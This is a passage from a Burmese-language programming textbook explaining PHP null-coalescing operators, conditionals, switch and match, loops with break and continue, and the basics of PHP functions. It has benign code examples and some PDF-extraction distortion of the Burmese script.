တာပါ။

 PHP 

<?php

echo $name ? $name : "Unknown";

// Warning: Undefined variable $name

echo $name ?: "Unknown";

// Warning: Undefined variable $name

ဒီလုိအကြေgခအကြေနမျ ို းမှာ isset() နဲ့ Variable ရှိမရှိ စစ်ပြပီးမှ ကြေရးရင်ကြေတာ့ရပါတယ်။ 

echo isset($name) ? $name : "Unknown"; // Unknown

ဒီတစ်ခါကြေတာ့ Undefined variable Warning မတက်ကြေတာ့ပါyူး။ Variable ကို မရှိyဲနဲ့ သံုးလုိက်တာမျ ို း
မဟုတ်ကြေတာ့yဲ ရှိ/မရှိ စစ်ပြပီးအလုပ်လုပ်ကြေစတဲ့နည်းကို သံုးလုိက်တာ goစ်သွားလုိပ့ါ။ ဒီထက်ပုိပြပီး ကျစ်လစ်
တဲ့ ကြေရးဟန်ရoုိအ့တွက် Null Coalescing Operator ကိုလည်း အသုံးgပုနိုင်ပါတယ်။ ဒီလုိပါ။

 PHP >= 7.0 

<?php

echo $name ?? "Unknown";   // Unknown

?? သကြေက[တနဲ့ ကြေရးရတာ goစ်သွားပါပြပီ။ ဒီတစ်ခါမှာလည်း Undefined variable Warning မတက်ပါyူး။
Null Coalescing Operator goစ်တဲ့ ?? က ရှိမရှိစစ်ပြပီးမှ အလုပ်လုပ်ကြေပးသွားမှာမုိလုိ့ပ့ါ။ Null Coalescing
Assignment Operator လည်းရှိပါကြေသးတယ်။ ဒီလုိပါ –



PWD 2023 – အခန်း (၂၉) – PHP Operators & Control Structures 438

 PHP >= 7.0 

<?php

$result = "Alice";
$result ??= $name;

echo $result;     // Alice

$result ရဲ့  မူလတန်oုိး  Alice  goစ်ပြပီး  $name ရှိကြေနရင်  $name တန်oုိးကို  $result ထဲမှာ  Assign
လုပ်လုိက်ချင်တာပါ။  ဒါကြေပမယ့်  မရှိရင်ကြေတာ့  Assign  မလုပ်ကြေစချင်ပါyူး။  ဒါကြေeကာင့်  Null  Coalescing
Assignment  Operator  goစ်တဲ့  ??= ကို  အသံုးgပုလုိက်တာပါ။  နမူနာအရ  Assign  လုပ်လုိက်ကြေပမယ့်
$name တန်oုိး မရှိတဲ့အတွက် မူလတန်oုိး Alice ကိုပဲ ကြေoာ်gပကြေပးတာကို ကြေတွ့ ရမှာပဲ goစ်ပါတယ်။

Control Structures
Conditional Statements ကြေတွကြေရးသားoုိ့အတွက် PHP မှာ if Statement ကိုပဲသုံးပါတယ်။ ရှိနိုင်တဲ့ကြေရး
နည်း မူကွဲကြေတွက ဒီလုိပါ – 

 PHP 

<?php

$time = date("h");

if($time > 6 and $time < 18) echo "Day Time"; 
else echo "Night Time";

နမူနာအရ  လက်ရှိအချနိ်ကို if Condition နဲ့ စစလုိ်က်ပြပီး မနက် (၆) နာရီထက်ကြကီးပြပီး နဲ့ ညကြေန (၆) နာရီ
ထက် ငယ်ရင် Day Time လုိ့ ရုိက်ထုတ် ကြေoာ်gပကြေပးမှာပါ။ အကယ်၍ မဟုတ်ခဲ့ရင် ကြေတာ့ Night Time လုိ့
ရုိက်ထုတ်ကြေoာ်gပကြေပးမှာပါ။  Condition  မှားမှန်ကြေပါ်မူတည်ပြပီး  လုပ်ရမယ့်  Statement  က တစ်ကြေeကာင်း စီ
သာပါဝင်တဲ့အတွက်  တွန့်ကွင်းအoွင့်အပိတ်ကြေတွ  မထည့်yဲကြေရးထားတာပါ။  တွန့်ကွင်းအoွင့်အပိတ်ကြေတွ
ထည့်ကြေရးမယ်ဆိုရင် ဒီလုိကြေရးရမှာပါ။
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 PHP 

<?php

$time = date("h");

if($time > 6 and $time < 18) {
    echo "Day Time"; 
} else {
    echo "Night Time";
}

ဒီလုိတွန့်ကွင်းအoွင့်အပိတ်ကြေတွနဲ့ မကြေရးyဲ Alternative Syntax နဲ့ကြေရးလုိရ့တာကို အထက်မှာလည်း ကြေoာ်gပ
ခဲ့ပြပီးgoစ်ပါတယ်။ ကြေနာက်တစ်ကြကိမ် ထပ်ပြပီးကြေတာ့ ကြေoာ်gပပါဦးမယ်။

 PHP 

<?php

$time = date("h");

if($time > 6 and $time < 18):
    echo "Day Time"; 
else:
    echo "Night Time";
endif;

ဒီလုိတွန့်ကွင်းကြေတွမပါတဲ့  Alternative Syntax  ကို  HTML  နဲ့  PHP  ကြေရာကြေရးတဲ့အခါမှာ အသံုးများပြပီး  PHP
ချည်းသက်သက်ဆိုရင်ကြေတာ့ သိပ်မသုံးeကပါyူး။ PHP မှာ elseif ကြေရးထုံးလည်း ရှိပါကြေသးတယ်။

 PHP 

<?php

$day = date("D");
if($day === "Sun") {
    echo "Today is Sunday.";
} elseif ($day === "Sat") {
    echo "Today is Saturday.";
} else {

echo "Today is a weekday.";
}
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data() Function ကို  Argument အကြေနနဲ့  D လုိက်တဲ့အခါ Sun, Mon, Tue စသည်goင့် ဒီကကြေနy့ာကြေန့
လဲဆိုတဲ့ တန်oုိးကို  gပန်ရပါတယ်။ အ့ဲဒီတန်oုိးကို  စစ်ပြပီးလုပ်ချင်တဲ့အလုပ်က မှားမှန် နှစ်ခုထဲမဟုတ်ကြေတာ့
တဲ့အတွက်  elseif Statement  ကိုထည့်သုံးထားပါတယ်။ နမူနာအရ  $day တန်oုိးဟာ  Sun  ဆိုရင်
Today is Sunday. ဆိုတဲ့စာကို ကြေoာ်gပပြပီး $day တန်oုိးဟာ Sat ဆိုရင် Today is Saturday. ဆိုတာစာကို
ကြေoာ်gပကြေပးမှာပါ။ Condition နှစ်ခါစစ်ထားတာပါ။ အ့ဲဒီနှစ်ခုလံုး မမှန်ကြေတာ့မှ Today is a weekday. ဆိုတဲ့
စာကို  ကြေoာ်gပကြေပးမှာပဲ  goစ်ပါတယ်။ eကားထဲမှာ ကြေနာက်ထပ်  Condition  ကြေတွထပ်ထည့်ချင်ရင်  elseif
ကြေတွထပ်တိုးပြပီး ထည့်လုိရ့ပါကြေသးတယ်။

ဒီကြေနရာမှာ  သတိgပုရမှာက  JavaScript  မှာ  ဆိုရင်  elseif Statement  မရှိပါyူး။  အ့ဲဒီလုိ  elseif
Statement မရှိခဲ့ရင်လည်း တူညီတဲ့ ရလဒ်ရoုိအ့တွက် အခုလုိကြေရးနိုင်ပါတယ်။

 PHP 

<?php

$day = date("D");

if($day === "Sun") {
    echo "Today is Sunday.";
} else if ($day === "Sat") {
    echo "Today is Saturday.";
} else {

echo "Today is a weekday.";
}

else if goစ်သွားတာပါ။ eကားထဲမှာ Space gခားထားပါတယ်။ else Statement အတွက် ကြေနာက်ထပ်
ထပ်ဆင့် if Statement တစ်ခုကို ကြေပးလုိက်တာပါ။ elseif ဆိုတဲ့ သီးgခား Statement မဟုတ်ကြေပမယ့်
ရလဒ်ကကြေတာ့ အတူတူပါပဲ။

PHP မှာ Switch Statement လည်းရှိပါတယ်။ ဒီလုိပါ – 
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 PHP 

<?php

$day = date("D");

switch($day) {
    case "Sat":
    case "Sun":
        echo "Weekend";
        break;
    case "Fri":
        echo "TGIF";
        break;
    default:
        echo "Weekday";
}

switch ရဲ့ သကြေyာအရ ကြေပးလုိက်တဲ့တန်oုိးနဲ့ ညီတဲ့  case ကိုသွားပြပီး အလုပ်လုပ်မှာgoစ်လုိ့  $day က
စကြေနကြေနg့oစ်ခဲ့ရင် Sat case ကိုကြေရာက်သွားမှာပါ။ yာ Statement မှမရှိတဲ့အတွက် ကြေနာက်တစ်ဆင့်goစ်တဲ့
Sun case  ကိုဆက်သွားလုိက်မှာgoစ်လုိ့  Weekend  ဆိုတဲ့ရလဒ်ကို  ကြေတွ့gမင်ရမှာ goစ်ပါတယ်။ ပြပီးတဲ့အခါ
break Statement ကိုကြေတွ့တဲ့အတွက် ကြေနာက်အဆင့်ကို ဆက်မသွားကြေတာ့ပဲ အ့ဲဒီကြေနရာမှာတင် ရပ်လုိက်
မှာ goစ်ပါတယ်။ အကယ်၍ $day က ကြေသာeကာကြေနဆ့ိုရင်ကြေတာ့  Fri case  ကိုကြေရာက်သွားပြပီး  TGIF  ဆိုတဲ့
ရလဒ်ကို ကြေoာ်gပမှာ goစ်ပါတယ်။ ပြပီးတဲ့အခါ break Statement နဲ့ ရပ်ခိုင်းထားတဲ့အတွက် ကြေနာက်အဆင့်
ကို  ဆက်မသွားကြေတာ့yဲ အ့ဲဒီကြေနရာမှာတင် ရပ်လုိက်မှာ goစ်ပါတယ်။ ကြေပးထားတဲ့  case ကြေတွ တစ်ခုမှ မ
ကိုက်ရင်ကြေတာ့  default Statement  ကို  အလုပ်လုပ်သွားမှာပဲ  goစ်ပါတယ်။ ဒါကြေeကာင့်  $day တန်oုိး
Sat, Sun, Fri တစ်ခုမှမဟုတ်ခဲ့ရင် Weekday ဆိုတဲ့ရလဒ်ကို ရမှာပဲ goစ်ပါတယ်။

PHP 8  မှာ  switch Statement  နဲဆ့င်တူတဲ့  match Expression  goည့်စွက်  ပါဝင်လာပါတယ်။ သူက
Expression   goစ်သွားတဲ့အတွက်   Variable   ထဲကို ထည့်လုိက်လုိရ့   တာမျ ို း အပါအဝင် ထူးgခားတဲ့ အသံုးgပုမှု
မျ ို းကြေတွနဲ့ သုံးလုိရ့နိုင်သွားပါတယ်။ ဒီလုိပါ –
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 PHP >= 8.0 

<?php

$day = date("D");

$result = match($day) {
    "Sat", "Sun" => "Weekend",
    "Fri" => "TGIF",
    default => "Weekday"
};

echo $result;

ထူးgခားတဲ့ကြေရးထုံးgoစ်လုိ့ ကြေသချာကြေလး င်္ဂရုစိုက်eကည့်လုိက်ပါ။  $result Variable  နဲ့  match() ကgပန်
ကြေပးတဲ့  ရလဒ်ကို  လက်ခံထားပါတယ်။  match ရဲ့ကြေနာက်က ကွင်းစကွင်းပိတ်ထဲမှာ စစ်ချင်တဲ့  တန်oုိးကို
ကြေပးရပါတယ်။ နမူနာအရ Sat  နဲ့  Sun  ဆိုရင်  Weekend  ကို gပန်ကြေပးလုိက်မှာပါ။  echo နဲရုိ့က်ထုတ်ထား
တာ  မဟုတ်ပါyူး။  Return  gပန်ကြေပးရမယ့်  တန်oုိးကို  သတ်မှတ်ထားတာပါ။  သူ့မှာလည်း  default
ကြေရးထုံးပါဝင်ပါတယ်။ အားလံုးပြပီးကြေတာ့မှ ကြေနာက်ဆံုးမှာ ရလဒ် $result ကို echo နဲ ့ရုိက်ထုတ်ထားgခင်း
ပဲ goစ်ပါတယ်။

switch     က တန်oုိးနိှုင်းယှဉ်oုိ့    ==     ကိုသုံးပြပီး    match     က    ===     ကိုသုံးတယ်ဆိုတာကိုလည်း သတိgပုပါ  ။
switch မှာ  switch("5") လုိစ့စ်ထားရင်  case 5 ကို အလုပ်လုပ်ကြေပးပါတယ်။ String "5"  ကိုစစ်
ထားကြေပမယ့် Integer 5 ဆိုရင်လည်း အလုပ်လုပ်ကြေပးမှာပါ။ match("5") လုိစ့စ်ထားရင်ကြေတာ့ 5 => ကို
အလုပ်လုပ်မှာ မဟုတ်ပါyူး။ String "5" ကို စစ်ထားတဲ့အတွက် String "5" ကိုကြေတွ့မှသာ အလုပ်လုပ်မှာ
မုိလုိ့ပ့ါ။

PHP  မှာ  အကြကိမ်ကြကိမ်  Loop  လုပ်ပြပီးကြေရးရမယ့်  ကုဒ်ကြေတွအတွက်  while,  do-while နဲ့  for
Statement တိုက့ို သုံးနိုင်ပါတယ်။ while Statement ဟာ Condition က true goစ်ကြေနသ၍ ကြေပးလုိက်တဲ့
ကုဒ်ကြေတွကို ထပ်ခါထပ်ခါ အလုပ်လုပ်ကြေပးမှာgoစ်ပါတယ်။
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 PHP 

<?php

$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

while($i < count($nums)) {
    $result += $nums[$i];
    $i++;
}

echo $result; // 681

ကြေပးထားတဲ့ကုဒ်မှာ  ကိန်းင်္ဂဏန်းတန်oုိးကြေတွပါဝင်တဲ့  $nums Array  တစ်ခရုှိပါတယ်။  အ့ဲဒီ  Array  ထဲက
တန်oုိးအားလုံးကို ကြေပါင်းလုိက်ချင်တာပါ။ ဒါကြေeကာင့် Variable နှစ်ခုထပ်ကြေeကညာပါတယ်။ $i တန်oုိးကို  0
လုိသ့တ်မှတ်ထားသလုိ $result တန်oုိးကိုလည်း 0 လုိသ့တ်မှတ်ထားပါတယ်။ while Statement မှာ
ကြေတာ့  Condition  အကြေနနဲ့  $i တန်oုိးက  $nums Array  မှာပါဝင်တဲ့  Index  အကြေရအတွက်ထက် ငယ်ကြေန
သ၍ ထပ်ခါထပ်ခါ အလုပ်လုပ်oုိ့  သတ်မှတ်ကြေပးထားပါတယ်။ အလုပ်တစ်ကြကိမ်လုပ်တိုင်း  $i++ နဲ့  1  တိုး
ထားတဲ့အတွက်  အကြကိမ်ကြေရgပည့်လုိ့  သတ်မှတ်  Condition  နဲမ့ကိုက်ကြေတာ့ရင်  ရပ်သွားမှာပါ။  တစ်ကြကိမ်
အလုပ်လုပ်တိုင်း  $result တန်oုိးထဲက  လက်ရှိအလုပ်လုပ်ကြေနတဲ့  $nums Array  ရဲ့  Index  မှာရှိတဲ့
တန်oုိးကို  ကြေပါင်းကြေပါင်း  ထည့်သွားတဲ့အတွက်  Loop  ပြပီးသွားတဲ့အခါ  စုစုကြေပါင်း  ကြေပါင်းgခင်းရလဒ်ကို
$result ထဲမှာ ရရှိသွားတာပဲ goစ်ပါတယ်။

တစ်ကယ်ကြေတာ့  Array  ထဲက  တန်oုိးကြေတွ  ကြေပါင်းတာကြေလာက်က  array_sum() တို့
array_reduce() တိုလုိ့  Standard Function  ကြေတွနဲတ့င် ပြပီးပါတယ်။ ကိုယ့်yာသာ ကြေပါင်းoုိ့  မလုိပါ
yူး။ ဒါကြေပမယ့် Loop နမူနာ စမ်းကြေရးချင်ရင် စမ်းကြေရးလုိရ့ကြေအာင် ကိုယ့်yာသာ ကြေပါင်းကြေပးလုိက်တာပါ။

Loop ကြေတွနဲအ့တူ continue Statement ကိုလုိအပ်ရင် တဲွသံုးနိုင်ပါတယ်။ continue Statement ကို
ကြေတွ့ ရင်  လက်ရှိအလုပ်ကိုရပ်လုိက်ပြပီး  ကြေနာက်တစ်ကြကိမ်gပန်စကြေပးသွားမှာပါ။  ဥပမာ  -  ကြေပးထားတဲ့  ကိန်း
င်္ဂဏန်းကြေတွထဲမှာ အနှုတ်ကိန်းပါရင် ထည့်မကြေပါင်းyဲ ကြေကျာ်လုိက်ကြေစချင်တယ်ဆိုရင် ဒီလုိကြေရးလုိရ့ပါတယ်။
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 PHP 

<?php

$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

while($i < count($nums)) {
    if($nums[$i] < 0) {
        $i++;
        continue;
    }

    $result += $nums[$i];
    $i++;
}

echo $result; // 683

နမူနာအရ လက်ရှိတန်oုိး 0 ထက်ငယ်ရင် continue နဲ့ ရပ်လုိက်ပြပီး ကြေနာက်တစ်ကြကိမ် gပန်စသွားမှာပါ။ ဒါ
ကြေeကာင့် $result ထဲမှာ အနှုတ်ကိန်းတန်oုိးကြေတွ ထည့်ကြေပါင်းကြေတာ့မှာ မဟုတ်ပါyူး။

လက်ရှိအလုပ်လုပ်ကြေနတဲ့  Loop  ကို  ရပ်လုိက်ချင်ရင်ကြေတာ့  break Statement  ကိုသုံးနိုင်ပါတယ်။  တစ်
ကယ်ကြေတာ့ break Statement က Loop မှ မဟုတ်ပါyူး၊ yယ်လုိ ကုဒ် Block မျ ို းကကြေနမဆို ထွက်ချင်
တဲ့အခါ သုံးနိုင်ပါတယ်။ ဥပမာ - ကြေပးထားတဲ့ ကိန်းင်္ဂဏန်းကြေတွထဲမှာ အနှုတ်ကိန်းကိုကြေတွ့တာနဲ ့ရပ်လုိက်ကြေစ
ချင်ရင် အခုလုိကြေရးနိုင်ပါတယ်။
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 PHP 

<?php

$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

while($i < count($nums)) {
    if($nums[$i] < 0) break;

    $result += $nums[$i];
    $i++;
}

echo $result; // 54

break ကြေနာက်ကကြေန လုိအပ်ရင် Argument ထည့်ကြေပးလုိရ့ပါတယ်။ Default က 1 goစ်ပါတယ်။ ဒါကြေeကာင့်
break;     လုိ့ကြေရးလုိက်တာဟာ   break 1;     လုိ့ ကြေရးလုိက်တာနဲ့ အတူတူပါပဲ  ။  1 လုိ့ကြေgပာတဲ့အတွက် ကုဒ်
Block တစ်ဆင့် ထွက်လုိက်မှာပါ။ အကယ်၍ နှစ်ဆင့်သံုးဆင့်ကြေကျာ်ပြပီး ထွက်လုိက်ချင်ရင် break 2; တို့
break 3; တိုက့ို အသုံးgပုနိုင်ပါတယ်။ continue မှာလည်း အလားတူပဲ လုိအပ်ရင် Argument ထည့်
ကြေပးလုိရ့ပါတယ်။

do-while Statement ကကြေတာ့ အကြေgခခံအားgoင့် while Statement နဲ့ အတူတူပါပဲ။ ကွာသွားတာက၊
ရုိးရုိး  while Statement မှာ  Condition စစ်ပြပီး မှန်မှအလုပ်လုပ်ပြပီး၊  do-while Statement မှာကြေတာ့
အလုပ်အရင်လုပ်ပြပီး  Condition  ကိုကြေနာက်မှ စစတ်ဲ့အတွက်၊ ပထမဆံုးတစ်ကြကိမ်  Condition  မှန်သည်goစ်
ကြေစ မှားသည်goစ်ကြေစ အလုပ်လုပ်သွားမှာ goစ်ပါတယ်။ ဒါကြေeကာင့် Condition မှန်သည်goစ်ကြေစ မှားသည်goစ်
ကြေစ ပထမဆံုးအကြကိမ်ကြေတာ့ မgoစ်မကြေန အလုပ်လုပ်oုိ့လုိတဲ့  ကုဒ်ကြေတွမှာ  while အစား  do-while ကို
အသုံးgပုနိုင်ပါတယ်။
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 PHP 

<?php

$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

do {
    $result += $nums[$i];
    $i++;
} while($i < count($nums));

echo $result; // 681

for Statement  ကိုကြေတာ့  Expression  (၃)  ခုကို  Argument  အကြေနနဲ့  ကြေပးပြပီးကြေရးရပါတယ်။  ပထမဆံုး
Expression ကို စစချင်းတစ်ကြကိမ် အလုပ်လုပ်ပါတယ်။ အလယ်က Expression ကကြေတာ့ Condition goစ်
ပြပီး မှန်မှ ကြေနာက်အကြကိမ်ကြေတွ ဆက်အလုပ်လုပ်မှာပါ။ ကြေနာက်ဆံုးက Expression ကိုကြေတာ့ Loop တစ်ကြကိမ်
ပြပီးတိုင်းတစ်ခါအလုပ်လုပ်ကြေပးမှာပဲ  goစ်ပါတယ်။  ဒါကြေeကာင့်  အကြေပါ်မှာ  while တို့  do-while တိုန့ဲ့
ကြေရးထားတဲ့ကုဒ်ကို for Statement နဲ့ အခုလုိကြေgပာင်းပြပီး ကြေရးလုိရ့နိုင်ပါတယ်။

 PHP 

<?php

$nums = [12, 42, -2, 8, 621];
$result = 0;

for($i = 0; $i < count($nums); $i++) {
    $result += $nums[$i];
}

echo $result; // 681

$i Variable ကို သပ်သပ်မကြေရးကြေတာ့ပဲ for ရဲ့ ပထမ Expression Argument အကြေနနဲ့ ကြေပးလုိက်ပါတယ်။
ဒုတိယ Expression goစ်တဲ့  Condition ကြေတာ့ အတူတူပါပဲ၊  $i တန်oုိးက $nums Array မှာပါတဲ့  Index
အကြေရအတွက်ထက် ငယ်ကြေနသ၍ အလုပ်လုပ်မှာပါ။ ကြေနာက်ဆံုး Expression အကြေနနဲ့ $i++ ကို ကြေပးထားတဲ့
အတွက်  Loop တစ်ကြကိမ်ပြပီးတိုင်း  $i တန်oုိးကို  1  တိုးကြေပးသွားလုိ့ အကြကိမ်ကြေရgပည့်ရင် ရပ်သွားမှာပဲ goစ်ပါ
တယ်။ ကြေနာက်ဆံုးရလဒ်ကကြေတာ့ ကြေgပာင်းမှာ မဟုတ်ပါyူး။ 
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PHP မှာ Array ကြေတွကို  Loop လုပ်oုိအ့တွက်  foreach Statement လည်း ရှိပါကြေသးတယ်။ foreach
Statement ကကြေတာ့ ကြေပးလုိက်တဲ့  Array ကို အစကကြေနအဆုံးထိ အလုပ်လုပ်သွားမှာမုိ့လုိ့  Condition ကြေတွ
yာကြေတွ ကြေပးစရာမလုိကြေတာ့ပါyူး။ ဒီလုိပါ – 

 PHP 

<?php

$nums = [12, 42, -2, 8, 621];
$result = 0;

foreach($nums as $num) {
    $result += $num;
}

echo $result; // 681

foreach နဲ့  Loop  လုပ်oုိ့  ကြေပးလုိက်တဲ့  Array  ရဲ့ကြေနာက်မှာ  as Keyword  နဲ့  လက်ရှိအလုပ်လုပ်ကြေနတဲ့
တန်oုိးကို Variable တစ်ခုနဲ့ လက်ခံလုိရ့ပါတယ်။ Variable ရဲ့အမည်ကို နှစ်သက်ရာအမည် ကြေပးနိုင်ပြပီး နမူ
နာမှာ  $num လုိ့ကြေပးထားပါတယ်။ ဒါကြေeကာင့်  $num ထဲမှာ ရှိကြေနတဲ့  တန်oုိးကို  $result ထဲမှာ ကြေပါင်း
ထည့်သွားgခင်းအားgoင့် လုိချင်တဲ့ ရလဒ်ကို ရရှိမှာပဲ goစ်ပါတယ်။

foreach ရဲ့ထူးgခားချက်က Loop လုပ်oုိ့ကြေပးလုိက်တဲ့ Array ရဲ့ Index/Key ကို လုိချင်ယူလည်း Variable
တစ်ခုနဲ့ လက်ခံယူလုိရ့နိုင်ပါကြေသးတယ်။ အသံုးဝင်ပါတယ်။ Array ကြေတွ  Object ကြေတွနဲ့ အလုပ်လုပ်တဲ့အခါ
Value တန်oုိးကြေတွသာမက Index ကြေတွ Key ကြေတွကိုပါ စီမံoုိ ့လုိအပ်တတ်ပါတယ်။ ဒီလုိပါ –
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 PHP 

<?php

$user = [ "alice" => 98, "bob" => 95 ];
$result = [];

foreach($user as $name => $point) {
   $result[] = $name;
}

print_r( $result );

// Array ( [0] => alice [1] => bob )

နမူနာမှာ $user ဟာ Associative Array တစ်ခုပါ။ $result ကလည်း Array အလွတ်တစ်ခုgoစ်သွားပါ
ပြပီ။  foreach နဲ့  $user ကို  Loop  လုပ်တဲ့အခါ  Index  ကို  $name Variable  နဲလ့က်ခံပြပီး  Value  ကို
$point Variable နဲ့လက်ခံထားပါတယ်။ ပြပီးကြေတာ့မှ $result Array ထဲကို Index goစ်တဲ့ $name ကြေတွ
ထပ်တိုးပြပီး  ထည့်ထည့်ကြေပးလုိက်တဲ့အတွက်  ကြေနာက်ဆံုးမှာ  Index  ကြေတွကိခုျည်းပဲ  Array  တစ်ခုအကြေနနဲ့
စုစည်းထားတဲ့ ရလဒ်ကို ရရှိgခင်းgoစ်ပါတယ်။

ဒီကြေနရာမှာလည်း  array_keys() လုိ  Standard Function  ကို  သုံးလုိက်ရင် ရကြေပမယ့်၊ ကိုယ်တိုင်စီမံ
ကြေရးသားoုိ့ လုိအပ်ချက်ကြေတွကလည်း သူ့ကြေနရာနဲ့သူ ရှိလာမှာgoစ်ပါတယ်။
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အခန်း (၃၀) – PHP Functions

JavaScript လုိ Language မျ ို းဟာ Object-Oriented Language လုိ့ကြေgပာလုိရ့ပါတယ်။ Object-Oriented
ကုဒ်ကြေတွ ကြေရးလုိ့  ရယုံသာမက  Language Feature  ကြေတာ်ကြေတာ်များများက  Object  ကြေတွ မုိလုိ့ပ့ါ။  ဥပမာ
အကြေgခခံ Data Types ကြေတွ goစ်eကတဲ့  Number တို့  String တိုဟ့ာ ရုိးရုိး  Value ဟုတ်yဲ Object ကြေတွgoစ်
eကပါတယ်။ ဒါကြေeကာင့်လည်း ဒီလုိ ကုဒ်မျ ို းကြေတွ ကြေရးလုိရ့တာပါ –

 JavaScript 

"Hello".length // 5
3.1416.toFixed(2) // 3.14

Property ကြေတွ Method ကြေတွ goစ်eကတဲ့ length တို့  toFixed() တိုက့ို စာကြေတွ၊ ကိန်င်္ဂဏန်းကြေတွကြေပါ်
မှာ တုိက်ရုိက်သံုးလုိရ့ကြေနတာဟာ အ့ဲဒီစာကြေတွ၊ ကိန်းင်္ဂဏန်းကြေတွ ကိုယ်တိုင်က  Object  ကြေတွ goစ်ကြေနလုိပ့ါ။
Array ကြေတဟွာဆိုရင်လည်း Object ကြေတွပါပဲ။ ဒါကြေeကာင့် အခုလုိ ကုဒ်မျ ို းကြေတွ ကြေရးလုိရ့တာပါ။

 JavaScript 

[1, 2, 3].length // 3
[1, 2, 3].reduce((a, b) => a + b) // 6 

ဒါတင်သာမက  တစ်ခါတစ်ရံကြေတွ့ရတဲ့  Standard  Function  ကြေတွဟာလည်း  တစ်ကယ်ကြေတာ့  ရုိးရုိး
Function  ကြေတွ မဟုတ်eကပါyူး။  Global Object  တို့  Window Object  တိုရ့ဲ့  Method  ကြေတွသာ goစ်ပါ
တယ်။  ဥပမာ  alert() ကြေခါ်တဲ့  Function  တစ်ခုကို  ကြေခါ်သုံးလုိ့  ရကြေပမယ့်  တစ်ကယ်ကြေတာ့
window.alert() လုိ့ကြေခါ်တဲ့  Object  Method  တစ်ခုသာ  goစ်ပါတယ်။  ဒါကြေeကာင့်  JavaScript  လုိ
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Language မျ ို းမှာ အရာကြေတာ်ကြေတာ်များများက Object ကြေတွမုိ့လုိ့ ကြေရးတဲ့အခါ Imperative ပုံစံ၊ Procedural
ပုံစံ၊ OOP ပုံစံ အမျ ို းမျ ို း ကြေရးလုိရ့ကြေပမယ့် Language ကိုယ်တိုင်ကကြေတာ့ Object-Oriented Language goစ်
တယ်လုိ့ ဆိုနိုင်တဲ့ သကြေyာမျ ို းပါ။

PHP မှာလည်း  Imperative ပုံစံ၊ Procedural ပုံစံ၊ OOP ပုံစံ စသည်goင့် ကုဒ်ကြေတွကို ပုံစံအမျ ို းမျ ို းနဲ ့ကြေရးလုိ့
ရကြေပမယ့်  Language  ကိုယ်တိုင်ကကြေတာ့  Object-Oriented  Language  မဟုတ်ပါyူး။  Procedural
Language တစ်ခုသာ goစ်ပါတယ်။  Standard Class  တစ်ချ ို ့  Language နဲ့အတူ ပါဝင်ကြေပမယ့် လုိချင်တဲ့
ရလဒ်ရoုိအ့တွက်  Function ကြေတွ Procedure ကြေတွကိုသာ အများအားgoင့် အသံုးgပုရတာပါ။

JavaScript  မှာ  String  တစ်ခုမှာပါတဲ့  စာလံုးအကြေရးအတွက်  သိချင်ရင်  String.length Object
Property ကို သုံးရကြေပမယ့် PHP မှာ strlen() Function ကို သုံးရပါတယ်။ JavaScript မှာ Array တစ်
ခုမှာပါတဲ့ Index အကြေရအတွက်ကို သိချင်ရင် Array.length Object Property ကို သုံးရကြေပမယ့် PHP
မှာ  count() Function  ကို  သုံးရပါတယ်။ အထက်ကနမူနာမှာ gပခဲ့တဲ့  Array.reduce() Object
Method လုိ လုပ်ကြေဆာင်ချက်မျ ို း ရoုိ့အတွက် array_reduce() Function ကို သုံးရမှာပါ။

ဒါကြေeကာင့် PHP   ဟာ လုိချင်တဲ့ရလဒ်ရoုိအ့တွက် သူမှာအသင့်ပါတဲ့    Standard Function   ကြေတွ   Procedure  
ကြေတွကိုအသုံးgပုရတဲ့    Procedural  Language    တစ်ခုgoစ်တယ်   လုိ့  ဆိုနိုင်တာပါ။  အသံုးဝင်တဲ့  Standard
Function  ကြေတွ  အကြေgမာက်အများ  Language  နဲအ့တူ  ပါဝင်သလုိပဲ  ကိုယ်တိုင်လည်း  Function  ကြေတွကို
လုိအပ်သလုိ oန်တီးကြေရးသား အသုံးgပုနိုင်ပါတယ်။

PHP မှာ  Function ကြေတွ ကြေရးသားပုံ၊ ကြေခါ်ယူအသုံးgပုပုံကြေတွဟာ JavaScript နဲ့ ကြေတာ်ကြေတာ်ကြေလး ဆင်တူပါ
တယ်။ ကွဲgပားမှုကြေတွလည်း ရှိပါတယ်။  Function  တစ်ခုကြေeကညာoုိအ့တွက်  function Statement  ကို
အသုံးgပုပြပီးကြေတာ့ အခုလုိ ကြေရးသားနိုင်ပါတယ်။
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 PHP 

<?php

function add($a, $b) {
   echo $a + $b;
}

add(1, 2);     // 3

နမူနာအရ  add() Function  ကို  Parameters  နှစ်ခုနဲအ့တူ  ကြေeကညာထားပါတယ်။  ဒါကြေeကာင့်  ကြေခါ်ယူ
အသုံးgပုတဲ့အခါ  Arguments  နှစ်ခု  ကြေပးပြပီး  ကြေခါ်ယူအသုံးgပုoုိ့  လုိပါတယ်။  JavaScript  မှာဆိုရင်  ကြေပးတဲ့
Argument  မစံုတဲ့အခါ  အလုပ်လုပ်ပံု  မမှန်ကြေပမယ့်  Error  ကြေတာ့မgoစ်ပါyူး။  PHP  မှာကြေတာ့  ကြေပးတဲ့
Argument   မစံုရင်   Error   တက်ပါတယ်  ။

add(1);     // Error: Too few arguments

ကြေပးတဲ့    Argument    ပုိသွားရင်ကြေတာ့    Error    မတက်ပါyူး  ။  ဒါကြေပမယ့်  ပုိသွားတဲ့  Argument  ကြေတွကို
ထည့်သွင်းလက်ခံ မလုပ်လုပ်မှာလည်း မဟုတ်ပါyူး။

add(1, 2, 3); // 3 

Function  ကြေခါ်ယူတဲ့ကြေနရာကို  တန်oုိးတစ်ခု gပန်ကြေပးလုိရင်  return Statement  နဲ့ကြေပးနိုင်ပါတယ်။  PHP
Function ကြေတွက return Statement မပါရင် Default   အကြေနနဲ့   NULL     ကို   Return   gပန်ကြေပးပါတယ်  ။

 PHP 

<?php

function add($a, $b) {
   return $a + $b;
}

$result = add(1, 2);

echo add(1, 2); // 3
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နမူနာအရ add() Function က $a နဲ့  $b ကြေပါင်းgခင်းရလဒ်ကို  Return gပန်ကြေပးထားပါတယ်။ ဒါကြေeကာင့်
ကြေခါ်ယူလုိက်တဲ့ Statement နှစ်ခုမှ၊ ပထမတစ်ခုက gပန်ရလာတဲ့ Return Value ကို $result Variable
ထဲမှာ ထည့်ကြေပးလုိက်လုိ့  $result ရဲ့ တန်oုိး  3  goစ်သွားမှာပါ။ ရလဒ်ကို ကြေoာ်gပမှာကြေတာ့ မဟုတ်ပါyူး။
